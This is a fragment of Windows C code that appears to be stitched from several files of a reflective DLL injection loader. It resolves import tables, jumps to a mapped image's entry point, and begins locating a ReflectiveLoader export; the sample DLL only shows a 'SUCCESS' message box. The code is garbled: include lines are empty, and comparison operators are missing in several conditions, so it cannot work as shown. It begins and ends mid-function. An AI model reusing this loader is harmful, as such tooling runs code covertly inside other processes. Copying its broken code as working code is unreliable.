PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);
while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL)
{
PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc);
if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)
{
pIAT->u1.AddressOfData = (ULONG_PTR)(mymyGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));
}
else
{
pIAT->u1.AddressOfData = (ULONG_PTR)(mymyGetProcAddress(hProcess, pFucname->Name));
}
pINT++;
pIAT++;
}
pImport++;
}
}
ProcMain MMain = NULL;
MMain = (ProcMain)(ntheader->OptionalHeader.AddressOfEntryPoint + (ULONG_PTR)pAlloc);
MMain();
return true;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
MessageBox(NULL, L"SUCCESS", L"great", MB_OK);
return TRUE;
}
#define _CRT_SECURE_NO_WARNINGS
#include
#include
#include
#include
#include "load.h"
#define WIN_X64
DWORD RVA(DWORD dwRva, UINT_PTR BaseAddress)
{
WORD wIndex = 0;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
pNtHeaders = (PIMAGE_NT_HEADERS)(BaseAddress + ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
if (dwRva 0].PointerToRawData)
return dwRva;
for (wIndex = 0; wIndex FileHeader.NumberOfSections; wIndex++)
{
if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva
return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData);
}
return 0;
}
DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer)
{
UINT_PTR BaseAddress = 0;
UINT_PTR uiNT = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef WIN_X64
DWORD dwCompiledArch = 2;
#else
DWORD dwCompiledArch = 1;
#endif
BaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
uiNT = BaseAddress + ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew;
if (((PIMAGE_NT_HEADERS)uiNT)->OptionalHeader.Magic == 0x010B)
{
if (dwCompiledArch != 1)
return 0;
}
else if (((PIMAGE_NT_HEADERS)uiNT)->OptionalHeader.Magic == 0x020B)
{
if (dwCompiledArch != 2)